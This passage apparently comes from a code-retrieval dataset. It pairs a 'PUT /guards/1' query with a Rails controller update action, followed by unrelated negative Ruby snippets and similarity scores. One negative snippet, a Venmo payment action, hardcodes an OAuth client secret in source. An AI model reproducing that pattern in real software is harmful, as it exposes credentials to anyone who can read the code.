"def add_credit_card(xml, credit_card, address)\n xml.tag! :Card do\n \n # DataCash calls the CC number 'pan'\n xml.tag! :pan, credit_card.number\n xml.tag! :expirydate, format_date(credit_card.month, credit_card.year)\n \n # optional values - for Solo etc\n if [ 'switch', 'solo' ].include?(credit_card.type.to_s)\n \n xml.tag! :issuenumber, credit_card.issue_number unless credit_card.issue_number.blank?\n \n if !credit_card.start_month.blank? && !credit_card.start_year.blank?\n xml.tag! :startdate, format_date(credit_card.start_month, credit_card.start_year)\n end\n end\n \n xml.tag! :Cv2Avs do\n xml.tag! :cv2, credit_card.verification_value if credit_card.verification_value?\n xml.tag! :street_address1, address[:address1] unless address[:address1].blank?\n xml.tag! :street_address2, address[:address2] unless address[:address2].blank?\n xml.tag! :street_address3, address[:address3] unless address[:address3].blank?\n xml.tag! :street_address4, address[:address4] unless address[:address4].blank?\n xml.tag! :postcode, address[:zip] unless address[:zip].blank?\n \n # The ExtendedPolicy defines what to do when the passed data \n # matches, or not...\n # \n # All of the following elements MUST be present for the\n # xml to be valid (or can drop the ExtendedPolicy and use\n # a predefined one\n xml.tag! :ExtendedPolicy do\n xml.tag! :cv2_policy, \n :notprovided => POLICY_REJECT,\n :notchecked => POLICY_REJECT,\n :matched => POLICY_ACCEPT,\n :notmatched => POLICY_REJECT,\n :partialmatch => POLICY_REJECT\n xml.tag! :postcode_policy,\n :notprovided => POLICY_ACCEPT,\n :notchecked => POLICY_ACCEPT,\n :matched => POLICY_ACCEPT,\n :notmatched => POLICY_REJECT,\n :partialmatch => POLICY_ACCEPT\n xml.tag! :address_policy, \n :notprovided => POLICY_ACCEPT,\n :notchecked => POLICY_ACCEPT,\n :matched => POLICY_ACCEPT,\n :notmatched => POLICY_REJECT,\n :partialmatch => POLICY_ACCEPT\n end\n end\n end\n end",
"def post(request)\n # sure thing!\n json_response(200, { message: \"This dummy POST endpoint didn't do anything.\" })\n end",
"def commit(xml)\n url = (test? ? test_url : live_url)\n\n response = parse(ssl_post(url, post_data(xml), 'Content-Type' => 'application/x-www-form-urlencoded;charset=UTF-8'))\n\n Response.new(\n success_from(response),\n message_from(response),\n response,\n authorization: authorization_from(response),\n test: test?,\n error_code: error_code_from(response)\n )\n end",
"def create\n @assertion = Assertion.new(assertion_params)\n @assertion[:verify] = { type: \"hosted\", url: \"http://frozen-dawn-78535.herokuapp.com/assertions/#{@assertion.id}\" }\n\n respond_to do |format|\n if @assertion.save\n format.html { redirect_to assertions_path, notice: 'Assertion was successfully created.' }\n format.json { render :show, status: :created, location: @assertion }\n else\n format.html { render :new }\n format.json { render json: @assertion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @richard = Richard.new(params[:richard])\n\n respond_to do |format|\n if @richard.save\n format.html { redirect_to(@richard, :notice => 'Richard was successfully created.') }\n format.xml { render :xml => @richard, :status => :created, :location => @richard }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @richard.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @game = Game.find(params[:game_id])\n @game.authorships.create_from_names(params[:authorship])\n respond_to do |format|\n flash[:notice] = 'Les autheurs sont enregistres'\n format.html { redirect_to game_path(@game) }\n format.xml { head :created, :location => authorship_url(@authorship) }\n end\n end",
"def test_authorize_and_void\n amount = @amount\n assert response = @gateway.authorize(amount, @credit_card, @options)\n assert_success response\n assert_nil response.message\n assert response.authorization\n assert capture = @gateway.void(response.authorization)\n assert_success capture\n end",
"def accept\n @card = Card[params[:card][:key]] or raise(Wagn::NotFound, \"Can't find this Account Request\") #ENGLISH\n @user = @card.extension or raise(Wagn::Oops, \"This card doesn't have an account to approve\") #ENGLISH\n System.ok?(:create_accounts) or raise(Wagn::PermissionDenied, \"You need permission to create accounts\") #ENGLISH\n \n if request.post?\n @user.accept(params[:email])\n if @user.errors.empty? #SUCCESS\n redirect_to (System.setting('*invite+*thanks') || '/')\n return\n end\n end\n render :action=>'invite'\n end",
"def rewardpurchase\n @reward = Reward.find(params[:id]).clone\n @rewardpurchase = @reward.rewardpurchases.create(params.permit(:reward_id,:user_id,:rewardname,:rewardbusiness,:rewardcost))\n @rewardpurchase.rewardname = @reward.name.dup\n @rewardpurchase.rewardbusiness = @reward.business.name.dup\n @rewardpurchase.rewardcost = @reward.cost.to_s.dup\n @rewardpurchase.user_id = current_user.id\n @rewardpurchase.rewarddescription = @reward.description\n \n \n if current_user.karma >= @reward.cost\n respond_to do |format|\n if @rewardpurchase.save\n current_user.purchase_reward(@reward.cost)\n format.html { redirect_to root_path, notice: 'Reward was successfully purchased.' }\n format.json { render json: @rewardpurchase, status: :created, location: @rewardpurchase }\n else\n format.html { redirect_to @reward}\n format.json { render json: @rewardpurchase.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to :back, notice: \"You do not have enough points to purchase this reward.\"\n end\n end",
"def create\n @whitelist = Whitelist.new(params[:whitelist])\n\n respond_to do |format|\n if @whitelist.save\n format.html { redirect_to(@whitelist, :notice => 'Whitelist was successfully created.') }\n format.xml { render :xml => @whitelist, :status => :created, :location => @whitelist }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @whitelist.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def submit_order()\n\tputs \"Submitting order\"\n\tdata = create_order()\n\tresponse = request_post(\"/api/order\", data)\n\tputs response.body\nend",
"def test_authorization_and_capture\n assert authorization = @gateway.authorize(@amount, @good_card, @options)\n assert_success authorization\n\n assert capture = @gateway.capture(@amount, authorization.authorization)\n assert_success capture\n assert capture.params['aux_msg'].include? 'has been successfully marked for settlement.'\n assert_equal 'Success', capture.message\n end",
"def test_checking_saving_values\n post '/save-values', :value1 => '1', :value2 => '2'\n token_json = JSON.parse(last_response.body)\n assert_not_equal \" \", token_json['id']\n end",
"def create\n @step = TaskrequestsStep.find(params[:taskrequests_step_id])\n @absence_request = @step.absence_requests.build(params[:absence_request])\n\n respond_to do |format|\n if @absence_request.save\n format.html { redirect_to taskrequest_process_step_url(@step.taskrequest), :notice => 'Aanvraag Afwezigheid was succesvol verstuurd.' }\n format.xml { render :xml => @absence_request, :status => :created, :location => @absence_request }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @absence_request.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @surgery_supply = SurgerySupply.new(surgery_supply_params)\n\n respond_to do |format|\n if @surgery_supply.save\n format.html { redirect_to @surgery_supply, notice: 'Surgery supply was successfully created.' }\n format.json { render :show, status: :created, location: @surgery_supply }\n else\n format.html { render :new }\n format.json { render json: @surgery_supply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @reward = Reward.new\n\t\tpoints = {1 => 1, 2 => 2, 3 => 3, 5 => 5, 10 => 10, 15 => 15, 20 => 20,30 => 30, 60 => 60}\n\t\t@points = points.sort\n\t\t\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @reward }\n end\n end",
"def create\n @award = Award.new(award_params)\n respond_to do |format|\n if @award.save\n a_data = JSON.parse params[:json_string]\n a_data.each do |a|\n @item = get_new_award_item(@award, a) unless a.nil?\n end\n AwardMailer.approval_request(@award)\n if current_user.admin\n format.html { redirect_to patient_path(@award.patient), notice: 'Award was successfully created.' }\n else\n format.html { redirect_to new_patient_path, notice: 'Award was successfully created.' }\n end\n format.json { render :show, status: :created, location: @award }\n else\n format.html { render :new }\n format.json { render json: @award.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_grader_that_has_active_report_cant_take_on_another_report\n login_as :sean\n post :auto_assign\n assert_redirected_to :controller => :home, :action=>:index\n end",
"def post\n frm.button(:name=>\"post\").click\n AssignmentsList.new(@browser)\n end",
"def create\n @vanguard = Vanguard.new(vanguard_params)\n\n respond_to do |format|\n if @vanguard.save\n format.html { redirect_to @vanguard, notice: 'Vanguard was successfully created.' }\n format.json { render :show, status: :created, location: @vanguard }\n else\n format.html { render :new }\n format.json { render json: @vanguard.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @hunt = Hunt.new(params[:hunt])\n\n respond_to do |format|\n if @hunt.save\n format.html { redirect_to(@hunt, :notice => 'Hunt was successfully created.') }\n format.xml { render :xml => @hunt, :status => :created, :location => @hunt }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @hunt.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def settle\n \n\n if params[\"code\"]\n auth_code = params[\"code\"]\n end \n url = \"https://api.venmo.com/v1/oauth/access_token\"\n @response = HTTParty.post(url, :query => {:client_id => '1916', :client_secret => 'eGcyNHaysfbFGZ6xkMffUw3gGrKFzksG', :code => auth_code})\n user = @response[\"user\"]\n @access_token = @response[\"access_token\"]\n @refresh_token = @response[\"refresh_token\"]\n @email = params[:email]\n @amount = params[:amount]\n \n url = \"https://api.venmo.com/v1/payments\"\n @amount = HTTParty.post(url, :query => { \"access_token\" => @access_token, :email => @email, :amount => @amount, :note => 'PayUp'})\n redirect_to bets_path\n end",
"def create\n @group_outing = GroupOuting.new(params[:group_outing])\n\n respond_to do |format|\n if @group_outing.save\n flash[:notice] = 'Thank you, your Group Outing Request was submitted successfully'\n format.html { redirect_to @group_outing }\n format.xml { render :xml => @group_outing, :status => :created, :location => @group_outing }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group_outing.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @goal_reward = GoalReward.new(params[:goal_reward])\n\n respond_to do |format|\n if @goal_reward.save\n format.html { redirect_to [@goal_reward.user, GoalReward], notice: 'Goal reward was successfully created.' }\n format.json { render json: @goal_reward, status: :created, location: @goal_reward }\n else\n format.html { render action: \"new\" }\n format.json { render json: @goal_reward.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @quclity_check = QuclityCheck.new(quclity_check_params)\n @quclity_check.save\n redirect_to \"/plans/spread/1\"\n \n end",
"def test_post_then_get\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n id = last_response.body\n\n get \"/traces/#{id}\"\n check_valid_trace last_response.body\n end",
"def send_request( xml )\n write( xml )\n read\n end"
] |
[
"0.5406219",
"0.5316001",
"0.5180328",
"0.51626474",
"0.5150757",
"0.5144402",
"0.5136275",
"0.50968206",
"0.50630915",
"0.5048071",
"0.50398743",
"0.5002049",
"0.49935716",
"0.49922383",
"0.49887684",
"0.4979475",
"0.4959973",
"0.49582654",
"0.4932153",
"0.4920405",
"0.49183407",
"0.48972926",
"0.48892778",
"0.48769164",
"0.48702696",
"0.4865051",
"0.4859824",
"0.48554707",
"0.48292682",
"0.48273358",
"0.48260194",
"0.48253056",
"0.48253056",
"0.48250264",
"0.4806914",
"0.48061278",
"0.4805852",
"0.48029986",
"0.48016366",
"0.4791799",
"0.4790818",
"0.4789316",
"0.47826612",
"0.47805676",
"0.4774838",
"0.47715762",
"0.47621018",
"0.4760072",
"0.4751367",
"0.47507587",
"0.47369987",
"0.473446",
"0.47327238",
"0.473167",
"0.47310612",
"0.4728686",
"0.47240698",
"0.47184265",
"0.47129512",
"0.47129512",
"0.47125494",
"0.47113326",
"0.47109434",
"0.4705313",
"0.47050002",
"0.4701821",
"0.4701821",
"0.46934357",
"0.46823442",
"0.46781665",
"0.4672379",
"0.4667516",
"0.4663835",
"0.4662898",
"0.46623158",
"0.46616188",
"0.46601355",
"0.465498",
"0.46547043",
"0.46510476",
"0.46506962",
"0.4647957",
"0.46477205",
"0.46469954",
"0.46417606",
"0.4638979",
"0.46363157",
"0.46351033",
"0.4634178",
"0.4630993",
"0.46298322",
"0.462917",
"0.46288282",
"0.46277243",
"0.46276322",
"0.46273515",
"0.46246064",
"0.4623207",
"0.46197808",
"0.46194866"
] |
0.48875394
|
23
|
PUT /guards/1 PUT /guards/1.xml
|
def update
@guard = Guard.find(params[:id])
respond_to do |format|
if @guard.update_attributes(params[:guard])
flash[:notice] = 'Guard was successfully updated.'
format.html { redirect_to(@guard) }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xml => @guard.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def test_put_expenses_1_xml\n @parameters = {:expense => {:description => 'NewDescription'}}\n if ActiveRecord::VERSION::MAJOR < 4\n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/expenses/1.xml',\n {:expense => {:description => 'NewDescription'}},\n {:success_code => :ok})\n end\n\n assert_no_difference('Expense.count') do\n put '/expenses/1.xml', @parameters, credentials('admin')\n end\n\n expense = Expense.find(1)\n assert_equal \"NewDescription\", expense.description\n end",
"def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def test_should_update_link_via_API_XML\r\n get \"/logout\"\r\n put \"/links/1.xml\", :link => {:user_id => 1,\r\n :title => 'API Link 1',\r\n :url => 'http://www.api.com'}\r\n assert_response 401\r\n end",
"def test_should_update_project_via_API_XML\r\n get \"/logout\"\r\n put \"/projects/1.xml\", :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response 401\r\n end",
"def update\n @handbook = Handbook.find(params[:id])\n\n respond_to do |format|\n if @handbook.update_attributes(params[:handbook])\n format.html { redirect_to(@handbook, :notice => 'Handbook was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @handbook.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @award = Award.find(params[:id])\n\n respond_to do |format|\n if @award.update_attributes(params[:award])\n # flash[:notice] = 'Award was successfully updated.'\n format.html { redirect_to(@award) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @award.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n # @card = Card.find(params[:id])\n\n respond_to do |format|\n if @card.update_attributes(params[:card])\n flash[:notice] = 'Card was successfully updated.'\n format.html { redirect_to(@card) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xmll => @card.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_reward.update(api_v1_reward_params)\n format.html { redirect_to @api_v1_reward, notice: 'Reward was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_reward }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_reward.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @guide = Guide.find(params[:id])\n\n respond_to do |format|\n if @guide.update_attributes(params[:guide])\n flash[:notice] = 'Guide was successfully updated.'\n format.html { redirect_to(@guide) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @guide.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @insurance_card = @property_and_casualty\n authorize @insurance_card\n @previous_share_with_ids = @insurance_card.share_with_contact_ids\n PolicyService.fill_property_and_casualty_policies(policy_params, @insurance_card)\n respond_to do |format|\n if validate_params && @insurance_card.update(property_and_casualty_params)\n PolicyService.update_shares(@insurance_card.id, @insurance_card.share_with_ids.map(&:to_i), @previous_share_with_ids, resource_owner)\n PolicyService.update_properties(@insurance_card, property_params)\n @path = success_path(property_path(@insurance_card), property_and_casualty_shared_view_path(shared_user_id: resource_owner.id, id: @insurance_card.id))\n format.html { redirect_to @path, flash: { success: 'Insurance was successfully updated.' } }\n format.json { render :show, status: :ok, location: @insurance_card }\n else\n error_path(:edit)\n format.html { render controller: @path[:controller], action: @path[:action], layout: @path[:layout] }\n format.json { render json: @insurance_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @insurance_card = @life_and_disability\n authorize @insurance_card\n @previous_share_with_ids = @insurance_card.share_with_contact_ids\n PolicyService.fill_life_policies(policy_params, @insurance_card)\n respond_to do |format|\n if validate_params && @insurance_card.update(life_params)\n PolicyService.update_shares(@insurance_card.id, @insurance_card.share_with_ids.map(&:to_i), @previous_share_with_ids, resource_owner)\n PolicyService.update_contacts(@insurance_card, policy_contact_params)\n @path = success_path(life_path(@insurance_card), life_and_disability_shared_view_path(shared_user_id: resource_owner.id, id: @insurance_card.id))\n format.html { redirect_to @path, flash: { success: 'Insurance was successfully updated.' } }\n format.json { render :show, status: :ok, location: @insurance_card }\n else\n error_path(:edit)\n format.html { render controller: @path[:controller], action: @path[:action], layout: @path[:layout] }\n format.json { render json: @insurance_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_should_update_invite_via_API_XML\r\n get \"/logout\"\r\n put \"/invites/1.xml\", :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => 'test@email.com',\r\n :user_id => 1 }\r\n assert_response 401\r\n end",
"def update\n redirect_unless_admin\n hide_left_menu\n\n @gift_card = GiftCard.find(params[:id])\n\n respond_to do |format|\n if @gift_card.update_attributes(params[:gift_card])\n format.html { redirect_to @gift_card, notice: 'Gift card was successfully updated.' }\n format.json { head :ok }\n else\n @type = SupplierAccountType.find_by_name(\"Vestidos Boutique\")\n @supplier_accounts = SupplierAccount.where(\"supplier_account_type_id = ?\", @type.id).approved\n \n format.html { render action: \"edit\" }\n format.json { render json: @gift_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end",
"def update\n @reward = Reward.find(params[:id])\n\n respond_to do |format|\n if @reward.update_attributes(params[:reward])\n flash[:notice] = 'Reward was successfully updated.'\n format.html { redirect_to calendar_configurations_path(params[:calendar_id]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @reward.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_api_v1_reward\n @api_v1_reward = Api::V1::Reward.find(params[:id])\n end",
"def update\n @richard = Richard.find(params[:id])\n\n respond_to do |format|\n if @richard.update_attributes(params[:richard])\n format.html { redirect_to(@richard, :notice => 'Richard was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @richard.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @buddy = Buddy.find(params[:id])\n\n respond_to do |format|\n if @buddy.update_attributes(params[:buddy])\n flash[:notice] = 'Buddy was successfully updated.'\n format.html { redirect_to(@buddy) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @buddy.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def updateCard\n if !(Integer(params[:id]) rescue false)\n renderError(\"Not Acceptable (Invalid Params)\", 406, \"The parameter id is not an integer\")\n return -1\n end\n resultsGet = HTTParty.get(\"http://192.168.99.104:3003/credit_card?id=\"+params[:id])\n userA = (resultsGet[\"user_id\"])\n puts(userA)\n puts( @current_user[\"id\"])\n if userA != (@current_user[\"id\"])\n renderError(\"Forbidden\",403,\"current user has no access\")\n return -1\n else\n options = {\n :body => params.to_json,\n :headers => {\n 'Content-Type' => 'application/json'\n }\n }\n results = HTTParty.put(\"http://192.168.99.104:3003/credit_cards?id=\"+params[:id], options)\n if results.code == 201\n head 201\n else\n render json: results.parsed_response, status: results.code\n end\n end\n end",
"def update\n @ambiance = Ambiance.find(params[:id])\n\n respond_to do |format|\n if @ambiance.update_attributes(params[:ambiance])\n format.html { redirect_to(@ambiance, :notice => 'L ambiance a ete modifiee.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ambiance.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @award = Award.find(params[:id])\n\n respond_to do |format|\n if @award.update_attributes(params[:award])\n format.html { redirect_to @award, notice: 'Award was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @award.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @gift = Gift.find(params[:id])\n\n respond_to do |format|\n if @gift.update_attributes(params[:gift])\n flash[:notice] = 'Gift was successfully updated.'\n format.html { redirect_to(@gift) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @gift.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @award = Award.find(params[:id])\n\n respond_to do |format|\n if @award.update_attributes(params[:award])\n format.html { redirect_to @award, notice: 'Award was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @award.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |wants|\n if @screw.update_attributes(params[:screw].permit(:size, :length, :threading, :drawer_ids, :drawers, :barcode))\n @screw.drawer_ids = params[:screw][:drawer_ids]\n @screw.save\n flash[:notice] = 'Screw was successfully updated.'\n wants.html { redirect_to(@screw) }\n wants.xml { head :ok }\n else\n wants.html { render :action => \"edit\" }\n wants.xml { render :xml => @screw.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @shot = Shot.find(params[:id])\n\n respond_to do |format|\n if @shot.update_attributes(params[:shot])\n format.html { redirect_to(@shot, :notice => 'Shot was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @shot.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!\n @authorize = nil\n update_plan! &&\n resp = put(\"/users/#{username}.xml\", {\n :user_key => apikey,\n \"user[first_name]\" => first_name,\n \"user[last_name]\" => last_name\n })\n end",
"def update\n @reward_profile = RewardProfile.find(params[:id])\n\n respond_to do |format|\n if @reward_profile.update_attributes(params[:reward_profile])\n flash[:notice] = 'RewardProfile was successfully updated.'\n format.html { redirect_to(@reward_profile) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @reward_profile.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend",
"def update\n @deck = Deck.find(params[:id])\n\n respond_to do |format|\n if @deck.update_attributes(params[:deck])\n format.html { redirect_to @deck, notice: 'Deck was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @deck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @deck = Deck.find(params[:id])\n\n respond_to do |format|\n if @deck.update_attributes(params[:deck])\n format.html { redirect_to @deck, notice: 'Deck was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @deck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @guardian = Guardian.find(params[:id])\n\n respond_to do |format|\n if @guardian.update_attributes(params[:guardian])\n flash[:notice] = 'Guardian was successfully updated.'\n format.html { redirect_to(@guardian) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @guardian.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def update\n @guide = Guide.find(params[:id])\n\n respond_to do |format|\n if @guide.update_attributes(params[:guide])\n format.html { redirect_to @guide, notice: 'Guide was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @guide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @guide = Guide.find(params[:id])\n\n respond_to do |format|\n if @guide.update_attributes(params[:guide])\n format.html { redirect_to @guide, notice: 'Guide was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @guide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @guide = Guide.find(params[:id])\n\n respond_to do |format|\n if @guide.update_attributes(params[:guide])\n format.html { redirect_to @guide, notice: 'Guide was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @guide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put!\n request! :put\n end",
"def update\n @good = Good.find(params[:id])\n\n respond_to do |format|\n if @good.update_attributes(params[:good])\n format.html { redirect_to(@good, :notice => 'Good was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @good.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @supplier = Supplier.find(params[:id])\n\n respond_to do |format|\n if @supplier.update_attributes(params[:supplier])\n format.html { \n redirect_to(medicines_url)\n }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @supplier.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @compliance.update_attributes(params[:compliance])\n flash[:notice] = 'Compliance was successfully updated.'\n format.html { redirect_to(@compliance) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @compliance.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_award\n if Award.exists?(params[:id])\n @award = Award.find(params[:id])\n else\n render json: {:errors => \"Award doesn't exist\"}, status: :bad_request\n end\n end",
"def update\n @quirk = Quirk.accessible_by(current_ability).find(params[:id])\n\n respond_to do |format|\n if @quirk.update_attributes(params[:quirk])\n flash[:notice] = 'Quirk was successfully updated.'\n format.html { redirect_to(@quirk) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @quirk.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @bookfair = Bookfair.find(params[:id])\n\n respond_to do |format|\n if @bookfair.update_attributes(params[:bookfair])\n format.html { redirect_to(@bookfair, :notice => 'Bookfair was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bookfair.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/rewardsaccount/v1\")\n end",
"def put_acl(bucket, key, acl_xml_doc, headers={})\n return Response.new(\n make_request('PUT', bucket, CGI::escape(key), {'acl' => nil}, headers, acl_xml_doc, {})\n )\n end",
"def update\n @provider = Provider.find(params[:id])\n\n respond_to do |format|\n if @provider.update_attributes(params[:provider])\n format.html { redirect_to(@provider, :notice => 'Provider was successfully updated.') }\n format.xml { head :ok }\n format.json { render :json => { :resp=> \"ok\" }}\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @provider.errors, :status => :unprocessable_entity }\n format.json { render :json => { :resp=> \"error\" }}\n end\n end\n end",
"def update\n @seance = Seance.find(params[:id])\n\n respond_to do |format|\n if @seance.update_attributes(params[:seance])\n format.html { redirect_to(@seance, :notice => 'Seance was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @seance.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_xml\n self.xml= dumpRouteAsXml\n self.save\n end",
"def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end",
"def update\n @question_option = QuestionOption.find(params[:id])\n check_forged_path\n\n respond_to do |format|\n if @question_option.update_attributes(params[:question_option])\n format.json { head :ok }\n format.xml { head :ok }\n else\n format.json { render :json => @question_option.errors.to_json }\n format.xml { render :xml => @question_option.errors.to_xml }\n end\n end\n end",
"def update\n @cardbox = current_user.cardboxes.find(params[:id])\n\n respond_to do |format|\n if @cardbox.update_attributes(params[:cardbox])\n format.html { redirect_to(@cardbox, :notice => _('Der Karteikasten wurde geändert')) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @cardbox.errors, :status => :unprocessable_entity }\n end\n end\n end",
